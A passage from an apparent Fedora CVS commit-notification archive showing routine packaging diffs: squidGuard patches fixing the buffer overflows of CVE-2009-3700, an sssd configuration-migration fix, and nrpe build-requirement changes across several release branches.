+Source2:		http://squidguard.mesd.k12.or.us/blacklists.tgz
 Source3:		http://cuda.port-aransas.k12.tx.us/squid-getlist.html
 
 # K12LTSP stuff
@@ -35,6 +35,8 @@ Patch3:			squidGuard-perlwarning.patch
 #Patch4:			squidGuard-sed.patch
 Patch5:			squidGuard-makeinstall.patch
 #Patch6:			squidGuard-1.3-SG-2008-06-13.patch
+Patch7:			squidGuard-1.4-20091015.patch
+Patch8:			squidGuard-1.4-20091019.patch
 
 URL:			http://www.squidguard.org/
 
@@ -79,6 +81,8 @@ Neither squidGuard nor Squid can be used
 #%patch4 -p1
 %patch5	-p1
 #%patch6 -p0
+%patch7 -p0
+%patch8 -p0
 
 %{__cp} %{SOURCE100} ./squidGuard.conf.k12ltsp.template
 %{__cp} %{SOURCE101} ./update_squidguard_blacklists.k12ltsp.sh
@@ -86,7 +90,7 @@ Neither squidGuard nor Squid can be used
 %build
 %configure \
 	--with-sg-config=%{_sysconfdir}/squid/squidGuard.conf \
-	--with-sg-logdir=%{_var}/log/squid \
+	--with-sg-logdir=%{_var}/log/squidGuard \
 	--with-sg-dbhome=%{_dbhomedir} \
 	--with-db-inc=%{_includedir}/db4.6.21 \
 	--with-db-lib=%{_libdir}/db4.6.21
@@ -107,7 +111,7 @@ popd
 
 %{__install} -p -D -m 0644 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d/squidGuard
 %{__install} -p -D -m 0644 samples/sample.conf $RPM_BUILD_ROOT%{_sysconfdir}/squid/squidGuard.conf
-%{__install} -p -D -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_dbhomedir}/blacklists.tar.gz
+%{__install} -p -D -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_dbtopdir}/blacklists.tar.gz
 
 # Don't use SOURCE3, but use the allready patched one #165689
 %{__install} -p -D -m 0755 squid-getlist.html $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/squidGuard
@@ -124,14 +128,18 @@ popd
 %{__install} -p -D -m 0755 %{SOURCE102} $RPM_BUILD_ROOT%{_initrddir}/squidGuard
 %{__install} -p -D -m 0755 %{SOURCE103} $RPM_BUILD_ROOT%{_initrddir}/transparent-proxying
 
-pushd $RPM_BUILD_ROOT%{_dbhomedir}
-tar xfz $RPM_BUILD_ROOT%{_dbhomedir}/blacklists.tar.gz
-popd
+#pushd $RPM_BUILD_ROOT%{_dbhomedir}
+tar xfz $RPM_BUILD_ROOT%{_dbtopdir}/blacklists.tar.gz
+#popd
 
 sed -i "s,dest/adult/,blacklists/porn/,g" $RPM_BUILD_ROOT%{_sysconfdir}/squid/squidGuard.conf
 
 %{__install} -p -D -m 0644 samples/babel.* $RPM_BUILD_ROOT%{_cgibin}
 
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/squidGuard
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/squid
+ln -s ../squidGuard/squidGuard.log  $RPM_BUILD_ROOT%{_localstatedir}/log/squid/squidGuard.log
+
 %clean
 %{__rm} -rf $RPM_BUILD_ROOT
 
@@ -184,11 +192,22 @@ fi
 #%{_sysconfdir}/selinux/targeted/src/policy/domains/program/squidGuard.te
 #%{_sysconfdir}/selinux/targeted/src/policy/file_contexts/program/squidGuard.fc
 %attr(0755,root,root) %{_cgibin}/*.cgi
+%config(noreplace) %{_cgibin}/squidGuard.cgi
 %{_cgibin}/babel.*
 %{_initrddir}/squidGuard
 %{_initrddir}/transparent-proxying
+%{_localstatedir}/log/squidGuard
+%{_localstatedir}/log/squid/squidGuard.log
 
 %changelog
+* Mon Oct 26 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-8
+- Applying upstream patches for CVE-2009-3700, BZ 530862.
+
+* Thu Sep 24 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-7
+- Make squidGuard.cgi config(noreplace)
+- Relocated logs, updated logrotate file.
+- Updated blacklist URL.
+
 * Wed Sep 09 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-6
 - Include babel files, BZ 522038.
 
@@ -213,7 +232,7 @@ fi
 - Update to 1.3.
 - Dropped paths, sed patches, applied upstream.
 - New SG-2008-06-13 patch.
-
+ 
 * Wed Feb 11 2009 Jon Ciesla <limb at jcomserv.net> - 1.2.1-2
 - Fix sg-2008-06-13, BZ 452467.
 



From limb at fedoraproject.org  Mon Oct 26 13:41:38 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Mon, 26 Oct 2009 13:41:38 +0000 (UTC)
Subject: rpms/squidGuard/F-12 squidGuard-1.4-20091015.patch, NONE,
	1.1 squidGuard-1.4-20091019.patch, NONE, 1.1 squidGuard.spec,
	1.20, 1.21
Message-ID: <20091026134138.A4FC111C0268@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9112/F-12

Modified Files:
	squidGuard.spec 
Added Files:
	squidGuard-1.4-20091015.patch squidGuard-1.4-20091019.patch 
Log Message:
Applying upstream patches for CVE-2009-3700, BZ 530862.


squidGuard-1.4-20091015.patch:
 sgLog.c |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE squidGuard-1.4-20091015.patch ---
--- src/sgLog.c	2007-11-16 10:58:32.000000000 -0600
+++ src/sgLog.c	2009-10-15 14:25:14.000000000 -0500
@@ -5 +5 @@
-  This software product, squidGuard, is copyrighted (C) 1998-2007
+  This software product, squidGuard, is copyrighted (C) 1998-2009
@@ -58,2 +58,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    fprintf(stderr,"overflow in vsprintf (sgLog): %s",strerror(errno));
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    fprintf(stderr,"overflow in vsnprintf (sgLog): %s",strerror(errno));
@@ -90,2 +90,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    sgLogFatalError("overflow in vsprintf (sgLogError): %s",strerror(errno));
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    sgLog(globalErrorLog, "overflow in vsnprintf (sgLogError): %s",strerror(errno));
@@ -107,2 +107,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    return;
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    sgLog(globalErrorLog, "overflow in vsnprintf (sgLogError): %s",strerror(errno));

squidGuard-1.4-20091019.patch:
 sgDiv.c.in |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE squidGuard-1.4-20091019.patch ---
--- src/sgDiv.c.in	2008-07-14 11:02:43.000000000 -0500
+++ src/sgDiv.c.in	2009-10-19 14:26:04.000000000 -0500
@@ -748 +748 @@
-      strcat(buf, req->orig);
+      strncat(buf, req->orig, 2048);
--- src/sg.h.in	2007-11-16 10:58:32.000000000 -0600
+++ src/sg.h.in	2009-10-19 14:25:23.000000000 -0500
@@ -76 +76 @@
-#define MAX_BUF 4096
+#define MAX_BUF 12288


Index: squidGuard.spec
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/F-12/squidGuard.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- squidGuard.spec	9 Sep 2009 17:51:25 -0000	1.20
+++ squidGuard.spec	26 Oct 2009 13:41:38 -0000	1.21
@@ -7,7 +7,7 @@
 
 Name:			squidGuard
 Version:		1.4
-Release:		6%{?dist}
+Release:		8%{?dist}
 Summary:		Filter, redirector and access controller plugin for squid
 
 Group:			System Environment/Daemons
@@ -15,7 +15,7 @@ License:		GPLv2
 
 Source0:		http://www.squidguard.org/Downloads/squidGuard-%{version}.tar.gz
 Source1:		squidGuard.logrotate
-Source2:		http://ftp.teledanmark.no/pub/www/proxy/%{name}/contrib/blacklists.tar.gz
+Source2:		http://squidguard.mesd.k12.or.us/blacklists.tgz
 Source3:		http://cuda.port-aransas.k12.tx.us/squid-getlist.html
 
 # K12LTSP stuff
@@ -35,6 +35,8 @@ Patch3:			squidGuard-perlwarning.patch
 #Patch4:			squidGuard-sed.patch
 Patch5:			squidGuard-makeinstall.patch
 #Patch6:			squidGuard-1.3-SG-2008-06-13.patch
+Patch7:			squidGuard-1.4-20091015.patch
+Patch8:			squidGuard-1.4-20091019.patch
 
 URL:			http://www.squidguard.org/
 
@@ -79,6 +81,8 @@ Neither squidGuard nor Squid can be used
 #%patch4 -p1
 %patch5	-p1
 #%patch6 -p0
+%patch7 -p0
+%patch8 -p0
 
 %{__cp} %{SOURCE100} ./squidGuard.conf.k12ltsp.template
 %{__cp} %{SOURCE101} ./update_squidguard_blacklists.k12ltsp.sh
@@ -86,7 +90,7 @@ Neither squidGuard nor Squid can be used
 %build
 %configure \
 	--with-sg-config=%{_sysconfdir}/squid/squidGuard.conf \
-	--with-sg-logdir=%{_var}/log/squid \
+	--with-sg-logdir=%{_var}/log/squidGuard \
 	--with-sg-dbhome=%{_dbhomedir} \
 	--with-db-inc=%{_includedir}/db4.6.21 \
 	--with-db-lib=%{_libdir}/db4.6.21
@@ -107,7 +111,7 @@ popd
 
 %{__install} -p -D -m 0644 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d/squidGuard
 %{__install} -p -D -m 0644 samples/sample.conf $RPM_BUILD_ROOT%{_sysconfdir}/squid/squidGuard.conf
-%{__install} -p -D -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_dbhomedir}/blacklists.tar.gz
+%{__install} -p -D -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_dbtopdir}/blacklists.tar.gz
 
 # Don't use SOURCE3, but use the allready patched one #165689
 %{__install} -p -D -m 0755 squid-getlist.html $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/squidGuard
@@ -124,14 +128,18 @@ popd
 %{__install} -p -D -m 0755 %{SOURCE102} $RPM_BUILD_ROOT%{_initrddir}/squidGuard
 %{__install} -p -D -m 0755 %{SOURCE103} $RPM_BUILD_ROOT%{_initrddir}/transparent-proxying
 
-pushd $RPM_BUILD_ROOT%{_dbhomedir}
-tar xfz $RPM_BUILD_ROOT%{_dbhomedir}/blacklists.tar.gz
-popd
+#pushd $RPM_BUILD_ROOT%{_dbhomedir}
+tar xfz $RPM_BUILD_ROOT%{_dbtopdir}/blacklists.tar.gz
+#popd
 
 sed -i "s,dest/adult/,blacklists/porn/,g" $RPM_BUILD_ROOT%{_sysconfdir}/squid/squidGuard.conf
 
 %{__install} -p -D -m 0644 samples/babel.* $RPM_BUILD_ROOT%{_cgibin}
 
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/squidGuard
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/squid
+ln -s ../squidGuard/squidGuard.log  $RPM_BUILD_ROOT%{_localstatedir}/log/squid/squidGuard.log
+
 %clean
 %{__rm} -rf $RPM_BUILD_ROOT
 
@@ -184,11 +192,22 @@ fi
 #%{_sysconfdir}/selinux/targeted/src/policy/domains/program/squidGuard.te
 #%{_sysconfdir}/selinux/targeted/src/policy/file_contexts/program/squidGuard.fc
 %attr(0755,root,root) %{_cgibin}/*.cgi
+%config(noreplace) %{_cgibin}/squidGuard.cgi
 %{_cgibin}/babel.*
 %{_initrddir}/squidGuard
 %{_initrddir}/transparent-proxying
+%{_localstatedir}/log/squidGuard
+%{_localstatedir}/log/squid/squidGuard.log
 
 %changelog
+* Mon Oct 26 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-8
+- Applying upstream patches for CVE-2009-3700, BZ 530862.
+
+* Thu Sep 24 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-7
+- Make squidGuard.cgi config(noreplace)
+- Relocated logs, updated logrotate file.
+- Updated blacklist URL.
+
 * Wed Sep 09 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-6
 - Include babel files, BZ 522038.
 
@@ -213,7 +232,7 @@ fi
 - Update to 1.3.
 - Dropped paths, sed patches, applied upstream.
 - New SG-2008-06-13 patch.
-
+ 
 * Wed Feb 11 2009 Jon Ciesla <limb at jcomserv.net> - 1.2.1-2
 - Fix sg-2008-06-13, BZ 452467.
 



From sgallagh at fedoraproject.org  Mon Oct 26 13:43:50 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Mon, 26 Oct 2009 13:43:50 +0000 (UTC)
Subject: rpms/sssd/F-11
	0001-Fix-migration-script-for-pre-0.5-local-domains.patch, NONE,
	1.1 sssd.spec, 1.23, 1.24
Message-ID: <20091026134350.EC24B11C0268@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9698

Modified Files:
	sssd.spec 
Added Files:
	0001-Fix-migration-script-for-pre-0.5-local-domains.patch 
Log Message:
Fix upgrade issues from old (pre-0.5.0) releases of SSSD

Configuration files before 0.5.0 did not enforce provider= in local
domains it did special-case by domain name (LOCAL). Our script was
relying on provider= value, this patch adds the special-casing in case
the domain was called LOCAL.



0001-Fix-migration-script-for-pre-0.5-local-domains.patch:
 upgrade_config.py |   14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

--- NEW FILE 0001-Fix-migration-script-for-pre-0.5-local-domains.patch ---
>From ff5fd17a20037377889b60a73b2b1f470c67c674 Mon Sep 17 00:00:00 2001
From: Jakub Hrozek <jhrozek at redhat.com>
Date: Mon, 26 Oct 2009 12:54:38 +0100
Subject: [PATCH] Fix migration script for pre-0.5 local domains

Configuration files before 0.5.0 did not enforce provider= in local
domains it did special-case by domain name (LOCAL). Our script was
relying on provider= value, this patch adds the special-casing in case
the domain was called LOCAL.
---
 server/upgrade/upgrade_config.py |   13 +++++++++++--
 1 files changed, 11 insertions(+), 2 deletions(-)

diff --git a/server/upgrade/upgrade_config.py b/server/upgrade/upgrade_config.py
index 87e3990..fe20811 100644
--- a/server/upgrade/upgrade_config.py
+++ b/server/upgrade/upgrade_config.py
@@ -25,6 +25,7 @@ import sys
 import shutil
 import traceback
 from ConfigParser import RawConfigParser
+from ConfigParser import NoOptionError
 from optparse import OptionParser
 
 class SSSDConfigParser(RawConfigParser):
@@ -211,11 +212,19 @@ class SSSDConfigFile(object):
         self._migrate_kw(new_domsec, old_domsec, ldap_kw)
         self._migrate_kw(new_domsec, old_domsec, krb5_kw)
 
+        # configuration files before 0.5.0 did not enforce provider= in local domains
+        # it did special-case by domain name (LOCAL)
+        try:
+            prv = self._new_config.get(new_domsec, 'id_provider')
+        except NoOptionError:
+            if old_domsec == 'domains/LOCAL':
+                prv = 'local'
+                self._new_config.set(new_domsec, 'id_provider', prv)
+
         # if domain was local, update with parameters from [user_defaults]
-        if self._new_config.get(new_domsec, 'id_provider') == 'local':
+        if prv == 'local':
             self._migrate_kw(new_domsec, 'user_defaults', user_defaults_kw)
 
-
     def _migrate_domains(self):
         for domain in [ s.replace('domains/','') for s in self._config.sections() if s.startswith("domains/") ]:
             domain = domain.strip()
-- 
1.6.2.5



Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-11/sssd.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sssd.spec	23 Oct 2009 20:03:33 -0000	1.23
+++ sssd.spec	26 Oct 2009 13:43:50 -0000	1.24
@@ -3,7 +3,7 @@
 
 Name: sssd
 Version: 0.7.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
 # The entire source code is GPLv3+ except replace/ which is LGPLv3+
@@ -15,6 +15,8 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 
 ### Patches ###
 
+Patch1: 0001-Fix-migration-script-for-pre-0.5-local-domains.patch
+
 ### Dependencies ###
 
 Requires: libldb >= 0.9.3
@@ -73,6 +75,8 @@ service.
 %prep
 %setup -q
 
+%patch1 -p1 -b .upgrade_fixes
+
 %build
 %configure \
     --without-tests \
@@ -190,6 +194,9 @@ fi
 %postun client -p /sbin/ldconfig
 
 %changelog
+* Mon Oct 26 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-2
+- Fix upgrade issues from old (pre-0.5.0) releases of SSSD
+
 * Fri Oct 23 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-1
 - New upstream release 0.7.0
 



From peter at fedoraproject.org  Mon Oct 26 13:46:54 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Mon, 26 Oct 2009 13:46:54 +0000 (UTC)
Subject: rpms/nrpe/devel import.log,1.2,1.3 nrpe.spec,1.16,1.17
Message-ID: <20091026134654.7037C11C0268@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/nrpe/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11035/devel

Modified Files:
	import.log nrpe.spec 
Log Message:
fixed bz# 528974


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	24 Sep 2009 14:56:32 -0000	1.2
+++ import.log	26 Oct 2009 13:46:53 -0000	1.3
@@ -1,2 +1,3 @@
 nrpe-2_12-6_fc10:HEAD:nrpe-2.12-6.fc10.src.rpm:1233590715
 nrpe-2_12-11_fc11:HEAD:nrpe-2.12-11.fc11.src.rpm:1253804147
+nrpe-2_12-12_fc11:HEAD:nrpe-2.12-12.fc11.src.rpm:1256564781


Index: nrpe.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/devel/nrpe.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- nrpe.spec	24 Sep 2009 14:56:32 -0000	1.16
+++ nrpe.spec	26 Oct 2009 13:46:54 -0000	1.17
@@ -2,7 +2,7 @@
 
 Name: nrpe
 Version: 2.12
-Release: 11%{?dist}
+Release: 12%{?dist}
 Summary: Host/service/network monitoring agent for Nagios
 
 Group: Applications/System
@@ -16,7 +16,13 @@ Patch2: nrpe-directory_for_configs.diff
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: openssl-devel tcp_wrappers
+BuildRequires: openssl-devel
+
+%if 0%{?rhel}
+BuildRequires: tcp_wrappers
+%else
+BuildRequires: tcp_wrappers-devel
+%endif
 
 Requires(pre): %{_sbindir}/useradd
 Requires(preun): /sbin/service, /sbin/chkconfig
@@ -113,10 +119,14 @@ fi
 
 %files -n nagios-plugins-nrpe
 %defattr(-,root,root,-)
-%{_libdir}/nagios/*
+%{_libdir}/nagios/plugins/check_nrpe
 %doc Changelog LEGAL README
 
 %changelog
+* Mon Oct 26 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-12
+- Do not own %%{_libdir}/nagios/plugins ( bz# 528974 )
+- Fixed building against tcp_wrappers in Fedora ( bz# 528974 )
+
 * Thu Sep 24 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-11
 - Fixed BZ# 515324
 



From peter at fedoraproject.org  Mon Oct 26 13:48:50 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Mon, 26 Oct 2009 13:48:50 +0000 (UTC)
Subject: rpms/nrpe/F-12 import.log,1.2,1.3 nrpe.spec,1.16,1.17
Message-ID: <20091026134850.CCE4F11C0268@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/nrpe/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11578/F-12

Modified Files:
	import.log nrpe.spec 
Log Message:
fixed bz# 528974


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	24 Sep 2009 14:56:32 -0000	1.2
+++ import.log	26 Oct 2009 13:48:49 -0000	1.3
@@ -1,2 +1,3 @@
 nrpe-2_12-6_fc10:HEAD:nrpe-2.12-6.fc10.src.rpm:1233590715
 nrpe-2_12-11_fc11:HEAD:nrpe-2.12-11.fc11.src.rpm:1253804147
+nrpe-2_12-12_fc11:F-12:nrpe-2.12-12.fc11.src.rpm:1256564875


Index: nrpe.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/F-12/nrpe.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- nrpe.spec	24 Sep 2009 14:56:32 -0000	1.16
+++ nrpe.spec	26 Oct 2009 13:48:49 -0000	1.17
@@ -2,7 +2,7 @@
 
 Name: nrpe
 Version: 2.12
-Release: 11%{?dist}
+Release: 12%{?dist}
 Summary: Host/service/network monitoring agent for Nagios
 
 Group: Applications/System
@@ -16,7 +16,13 @@ Patch2: nrpe-directory_for_configs.diff
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: openssl-devel tcp_wrappers
+BuildRequires: openssl-devel
+
+%if 0%{?rhel}
+BuildRequires: tcp_wrappers
+%else
+BuildRequires: tcp_wrappers-devel
+%endif
 
 Requires(pre): %{_sbindir}/useradd
 Requires(preun): /sbin/service, /sbin/chkconfig
@@ -113,10 +119,14 @@ fi
 
 %files -n nagios-plugins-nrpe
 %defattr(-,root,root,-)
-%{_libdir}/nagios/*
+%{_libdir}/nagios/plugins/check_nrpe
 %doc Changelog LEGAL README
 
 %changelog
+* Mon Oct 26 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-12
+- Do not own %%{_libdir}/nagios/plugins ( bz# 528974 )
+- Fixed building against tcp_wrappers in Fedora ( bz# 528974 )
+
 * Thu Sep 24 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-11
 - Fixed BZ# 515324
 



From peter at fedoraproject.org  Mon Oct 26 13:50:13 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Mon, 26 Oct 2009 13:50:13 +0000 (UTC)
Subject: rpms/nrpe/F-11 import.log,1.2,1.3 nrpe.spec,1.14,1.15
Message-ID: <20091026135013.89C5F11C02BB@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/nrpe/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12377/F-11

Modified Files:
	import.log nrpe.spec 
Log Message:
fixed bz# 528974


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	24 Sep 2009 14:57:34 -0000	1.2
+++ import.log	26 Oct 2009 13:50:13 -0000	1.3
@@ -1,2 +1,3 @@
 nrpe-2_12-6_fc10:HEAD:nrpe-2.12-6.fc10.src.rpm:1233590715
 nrpe-2_12-11_fc11:F-11:nrpe-2.12-11.fc11.src.rpm:1253804213
+nrpe-2_12-12_fc11:F-11:nrpe-2.12-12.fc11.src.rpm:1256564970


Index: nrpe.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/F-11/nrpe.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- nrpe.spec	24 Sep 2009 14:57:35 -0000	1.14
+++ nrpe.spec	26 Oct 2009 13:50:13 -0000	1.15
@@ -2,7 +2,7 @@
 
 Name: nrpe
 Version: 2.12
-Release: 11%{?dist}
+Release: 12%{?dist}
 Summary: Host/service/network monitoring agent for Nagios
 
 Group: Applications/System
@@ -16,7 +16,13 @@ Patch2: nrpe-directory_for_configs.diff
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: openssl-devel tcp_wrappers
+BuildRequires: openssl-devel
+
+%if 0%{?rhel}
+BuildRequires: tcp_wrappers
+%else
+BuildRequires: tcp_wrappers-devel
+%endif
 
 Requires(pre): %{_sbindir}/useradd
 Requires(preun): /sbin/service, /sbin/chkconfig
@@ -113,10 +119,14 @@ fi
 
 %files -n nagios-plugins-nrpe
 %defattr(-,root,root,-)
-%{_libdir}/nagios/*
+%{_libdir}/nagios/plugins/check_nrpe
 %doc Changelog LEGAL README
 
 %changelog
+* Mon Oct 26 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-12
+- Do not own %%{_libdir}/nagios/plugins ( bz# 528974 )
+- Fixed building against tcp_wrappers in Fedora ( bz# 528974 )
+
 * Thu Sep 24 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-11
 - Fixed BZ# 515324
 



From peter at fedoraproject.org  Mon Oct 26 13:51:09 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Mon, 26 Oct 2009 13:51:09 +0000 (UTC)
Subject: rpms/nrpe/F-10 import.log,1.2,1.3 nrpe.spec,1.9,1.10
Message-ID: <20091026135109.5F94B11C0268@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/nrpe/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12684/F-10

Modified Files:
	import.log nrpe.spec 
Log Message:
fixed bz# 528974


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/F-10/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	24 Sep 2009 14:59:15 -0000	1.2
+++ import.log	26 Oct 2009 13:51:09 -0000	1.3
@@ -1,2 +1,3 @@
 nrpe-2_12-6_fc10:F-10:nrpe-2.12-6.fc10.src.rpm:1233590859
 nrpe-2_12-11_fc11:F-10:nrpe-2.12-11.fc11.src.rpm:1253804318
+nrpe-2_12-12_fc11:F-10:nrpe-2.12-12.fc11.src.rpm:1256565032


Index: nrpe.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/F-10/nrpe.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- nrpe.spec	24 Sep 2009 14:59:15 -0000	1.9
+++ nrpe.spec	26 Oct 2009 13:51:09 -0000	1.10
@@ -2,7 +2,7 @@
 
 Name: nrpe
 Version: 2.12
-Release: 11%{?dist}
+Release: 12%{?dist}
 Summary: Host/service/network monitoring agent for Nagios
 
 Group: Applications/System
@@ -16,7 +16,13 @@ Patch2: nrpe-directory_for_configs.diff
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: openssl-devel tcp_wrappers
+BuildRequires: openssl-devel
+
+%if 0%{?rhel}
+BuildRequires: tcp_wrappers
+%else
+BuildRequires: tcp_wrappers-devel
+%endif
 
 Requires(pre): %{_sbindir}/useradd
 Requires(preun): /sbin/service, /sbin/chkconfig
@@ -113,10 +119,14 @@ fi
 
 %files -n nagios-plugins-nrpe
 %defattr(-,root,root,-)
-%{_libdir}/nagios/*
+%{_libdir}/nagios/plugins/check_nrpe
 %doc Changelog LEGAL README
 
 %changelog
+* Mon Oct 26 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-12
+- Do not own %%{_libdir}/nagios/plugins ( bz# 528974 )
+- Fixed building against tcp_wrappers in Fedora ( bz# 528974 )
+
 * Thu Sep 24 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-11
 - Fixed BZ# 515324
 



From peter at fedoraproject.org  Mon Oct 26 13:53:16 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Mon, 26 Oct 2009 13:53:16 +0000 (UTC)
Subject: rpms/nrpe/EL-5 import.log,1.2,1.3 nrpe.spec,1.6,1.7
Message-ID: <20091026135316.E204311C0268@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/nrpe/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13125/EL-5

Modified Files:
	import.log nrpe.spec 
Log Message:
fixed bz# 528974


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/EL-5/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	24 Sep 2009 15:00:07 -0000	1.2
+++ import.log	26 Oct 2009 13:53:16 -0000	1.3
@@ -1,2 +1,3 @@
 nrpe-2_12-6_fc10:EL-5:nrpe-2.12-6.fc10.src.rpm:1233591102
 nrpe-2_12-11_fc11:EL-5:nrpe-2.12-11.fc11.src.rpm:1253804375
+nrpe-2_12-12_fc11:EL-5:nrpe-2.12-12.fc11.src.rpm:1256565082


Index: nrpe.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/EL-5/nrpe.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- nrpe.spec	24 Sep 2009 15:00:08 -0000	1.6
+++ nrpe.spec	26 Oct 2009 13:53:16 -0000	1.7
@@ -2,7 +2,7 @@
 
 Name: nrpe
 Version: 2.12
-Release: 11%{?dist}
+Release: 12%{?dist}
 Summary: Host/service/network monitoring agent for Nagios
 
 Group: Applications/System
@@ -16,7 +16,13 @@ Patch2: nrpe-directory_for_configs.diff
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: openssl-devel tcp_wrappers
+BuildRequires: openssl-devel
+
+%if 0%{?rhel}
+BuildRequires: tcp_wrappers
+%else
+BuildRequires: tcp_wrappers-devel
+%endif
 
 Requires(pre): %{_sbindir}/useradd
 Requires(preun): /sbin/service, /sbin/chkconfig
@@ -113,10 +119,14 @@ fi
 
 %files -n nagios-plugins-nrpe
 %defattr(-,root,root,-)
-%{_libdir}/nagios/*
+%{_libdir}/nagios/plugins/check_nrpe
 %doc Changelog LEGAL README
 
 %changelog
+* Mon Oct 26 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-12
+- Do not own %%{_libdir}/nagios/plugins ( bz# 528974 )
